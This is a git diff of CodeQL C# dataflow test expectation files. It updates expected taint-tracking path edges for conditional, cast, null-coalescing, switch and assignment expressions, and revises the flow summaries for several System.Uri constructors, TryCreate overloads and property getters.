diff --git a/csharp/ql/test/library-tests/dataflow/global/TaintTrackingPath.expected b/csharp/ql/test/library-tests/dataflow/global/TaintTrackingPath.expected
index 43c462eaced6..8fcf385a4f52 100644
--- a/csharp/ql/test/library-tests/dataflow/global/TaintTrackingPath.expected
+++ b/csharp/ql/test/library-tests/dataflow/global/TaintTrackingPath.expected
@@ -461,46 +461,40 @@ edges
 | GlobalDataFlow.cs:469:21:469:21 | s : String | GlobalDataFlow.cs:469:32:469:32 | access to parameter s | provenance |  |
 | GlobalDataFlow.cs:470:15:470:17 | access to parameter arg : String | GlobalDataFlow.cs:469:21:469:21 | s : String | provenance |  |
 | GlobalDataFlow.cs:473:28:473:41 | "taint source" : String | GlobalDataFlow.cs:466:53:466:55 | arg : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:22 | access to field field | provenance |  |
 | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:22 | access to field field | provenance |  |
-| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:22 | access to field field | provenance |  |
 | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:22 | access to field field | provenance |  |
 | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:22 | access to field field | provenance |  |
-| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance |  |
-| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance |  |
+| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:21 | access to field field | provenance |  |
 | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:21 | access to field field | provenance |  |
-| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:21 | access to field field | provenance |  |
 | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:21 | access to field field | provenance |  |
 | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:21 | access to field field | provenance |  |
-| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:22 | access to field field | provenance |  |
-| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:21 | access to field field | provenance |  |
 | GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | provenance |  |
 | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | GlobalDataFlow.cs:558:46:558:46 | access to local variable x : String | provenance |  |
@@ -983,43 +977,37 @@ nodes
 | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | semmle.label | sc [Return] : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | semmle.label | "taint source" : String |
-| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x1 : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x2 : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | semmle.label | access to local variable x1 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:491:15:491:22 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | semmle.label | access to local variable x2 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:492:15:492:22 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y1 : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y2 : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y3 : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | semmle.label | access to local variable y1 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:498:15:498:22 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | semmle.label | access to local variable y2 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:499:15:499:22 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | semmle.label | access to local variable y3 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:500:15:500:22 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | semmle.label | [post] access to local variable x : SubSimpleClass [field field] : String |
-| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | semmle.label | access to local variable x : SubSimpleClass [field field] : String |
+| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | semmle.label | [post] (...) ... : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:509:15:509:21 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | semmle.label | [post] access to parameter x : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | semmle.label | [post] ... ?? ... : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | semmle.label | access to parameter x : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:516:15:516:21 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:517:15:517:21 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | semmle.label | [post] access to local variable z : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | semmle.label | [post] ... switch { ... } : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:531:15:531:21 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:532:15:532:21 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | semmle.label | access to local variable z : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:533:15:533:21 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | semmle.label | [post] ...! : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | semmle.label | access to parameter sc : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:539:15:539:22 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | semmle.label | [post] ... = ... : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:547:15:547:21 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | semmle.label | e : null [element] : String |
diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected
index a336988a713e..4b7dc533819c 100644
--- a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected
+++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected
@@ -23466,29 +23466,33 @@ summary
 | System;Uri;ToString;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated |
 | System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this];ReturnValue;taint;dfc-generated |
-| System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated |
-| System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated |
-| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[1];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated |
-| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[0];ReturnValue;taint;df-generated |
-| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[1];ReturnValue;taint;df-generated |
+| System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[0];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[1];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[0];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[1];Argument[2];taint;manual |
 | System;Uri;TryEscapeDataString;(System.ReadOnlySpan<System.Char>,System.Span<System.Char>,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated |
 | System;Uri;TryUnescapeDataString;(System.ReadOnlySpan<System.Char>,System.Span<System.Char>,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated |
 | System;Uri;UnescapeDataString;(System.ReadOnlySpan<System.Char>);Argument[0].Element;ReturnValue;taint;dfc-generated |
 | System;Uri;UnescapeDataString;(System.String);Argument[0];ReturnValue;value;dfc-generated |
 | System;Uri;Uri;(System.String);Argument[0];Argument[this];taint;manual |
 | System;Uri;Uri;(System.String,System.Boolean);Argument[0];Argument[this];taint;manual |
-| System;Uri;Uri;(System.String,System.UriCreationOptions);Argument[0];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated |
+| System;Uri;Uri;(System.String,System.UriCreationOptions);Argument[0];Argument[this];taint;manual |
 | System;Uri;Uri;(System.String,System.UriKind);Argument[0];Argument[this];taint;manual |
-| System;Uri;Uri;(System.Uri,System.String);Argument[1];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated |
-| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[1];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated |
+| System;Uri;Uri;(System.Uri,System.String);Argument[0];Argument[this];taint;manual |
+| System;Uri;Uri;(System.Uri,System.String);Argument[1];Argument[this];taint;manual |
+| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[0];Argument[this];taint;manual |
+| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[1];Argument[this];taint;manual |
 | System;Uri;Uri;(System.Uri,System.Uri);Argument[0];Argument[this];taint;df-generated |
 | System;Uri;Uri;(System.Uri,System.Uri);Argument[1];Argument[this];taint;df-generated |
 | System;Uri;get_AbsolutePath;();Argument[this];ReturnValue;taint;df-generated |
+| System;Uri;get_AbsoluteUri;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_Authority;();Argument[this];ReturnValue;taint;df-generated |
-| System;Uri;get_DnsSafeHost;();Argument[this].Property[System.Uri.IdnHost];ReturnValue;value;dfc-generated |
+| System;Uri;get_DnsSafeHost;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_Host;();Argument[this];ReturnValue;taint;df-generated |
 | System;Uri;get_IdnHost;();Argument[this];ReturnValue;taint;df-generated |
-| System;Uri;get_LocalPath;();Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated |
+| System;Uri;get_LocalPath;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_OriginalString;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_PathAndQuery;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_Query;();Argument[this];ReturnValue;taint;manual |
diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected
index a426b2428454..f5b48a00292f 100644
--- a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected
+++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected
@@ -18122,29 +18122,33 @@
 | System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;taint;df-generated |
 | System;Uri;ToString;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated |
-| System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated |
-| System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated |
-| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[1];ReturnValue.SyntheticField[System.Uri._string];value;dfc-generated |
-| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[0];ReturnValue;taint;df-generated |
-| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[1];ReturnValue;taint;df-generated |
+| System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[0];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[1];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[0];Argument[2];taint;manual |
+| System;Uri;TryCreate;(System.Uri,System.Uri,System.Uri);Argument[1];Argument[2];taint;manual |
 | System;Uri;TryEscapeDataString;(System.ReadOnlySpan<System.Char>,System.Span<System.Char>,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated |
 | System;Uri;TryUnescapeDataString;(System.ReadOnlySpan<System.Char>,System.Span<System.Char>,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated |
 | System;Uri;UnescapeDataString;(System.ReadOnlySpan<System.Char>);Argument[0].Element;ReturnValue;taint;dfc-generated |
 | System;Uri;UnescapeDataString;(System.String);Argument[0];ReturnValue;value;dfc-generated |
 | System;Uri;Uri;(System.String);Argument[0];Argument[this];taint;manual |
 | System;Uri;Uri;(System.String,System.Boolean);Argument[0];Argument[this];taint;manual |
-| System;Uri;Uri;(System.String,System.UriCreationOptions);Argument[0];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated |
+| System;Uri;Uri;(System.String,System.UriCreationOptions);Argument[0];Argument[this];taint;manual |
 | System;Uri;Uri;(System.String,System.UriKind);Argument[0];Argument[this];taint;manual |
-| System;Uri;Uri;(System.Uri,System.String);Argument[1];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated |
-| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[1];Argument[this].SyntheticField[System.Uri._string];value;dfc-generated |
+| System;Uri;Uri;(System.Uri,System.String);Argument[0];Argument[this];taint;manual |
+| System;Uri;Uri;(System.Uri,System.String);Argument[1];Argument[this];taint;manual |
+| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[0];Argument[this];taint;manual |
+| System;Uri;Uri;(System.Uri,System.String,System.Boolean);Argument[1];Argument[this];taint;manual |
 | System;Uri;Uri;(System.Uri,System.Uri);Argument[0];Argument[this];taint;df-generated |
 | System;Uri;Uri;(System.Uri,System.Uri);Argument[1];Argument[this];taint;df-generated |
 | System;Uri;get_AbsolutePath;();Argument[this];ReturnValue;taint;df-generated |
+| System;Uri;get_AbsoluteUri;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_Authority;();Argument[this];ReturnValue;taint;df-generated |
-| System;Uri;get_DnsSafeHost;();Argument[this].Property[System.Uri.IdnHost];ReturnValue;value;dfc-generated |
+| System;Uri;get_DnsSafeHost;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_Host;();Argument[this];ReturnValue;taint;df-generated |
 | System;Uri;get_IdnHost;();Argument[this];ReturnValue;taint;df-generated |
-| System;Uri;get_LocalPath;();Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated |
+| System;Uri;get_LocalPath;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_OriginalString;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_PathAndQuery;();Argument[this];ReturnValue;taint;manual |
 | System;Uri;get_Query;();Argument[this];ReturnValue;taint;manual |
diff --git a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected
index 9e488197e7c1..7dc5e3e46360 100644
--- a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected
+++ b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected
@@ -72,11 +72,10 @@
 | LocalDataFlow.cs:88:9:88:16 | access to local variable nonSink0 | LocalDataFlow.cs:88:9:88:36 | SSA def(nonSink0) |
 | LocalDataFlow.cs:88:9:88:36 | SSA def(nonSink0) | LocalDataFlow.cs:89:15:89:22 | access to local variable nonSink0 |
 | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... | LocalDataFlow.cs:88:9:88:16 | access to local variable nonSink0 |
-| LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 |
 | LocalDataFlow.cs:88:24:88:28 | "abc" | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... |
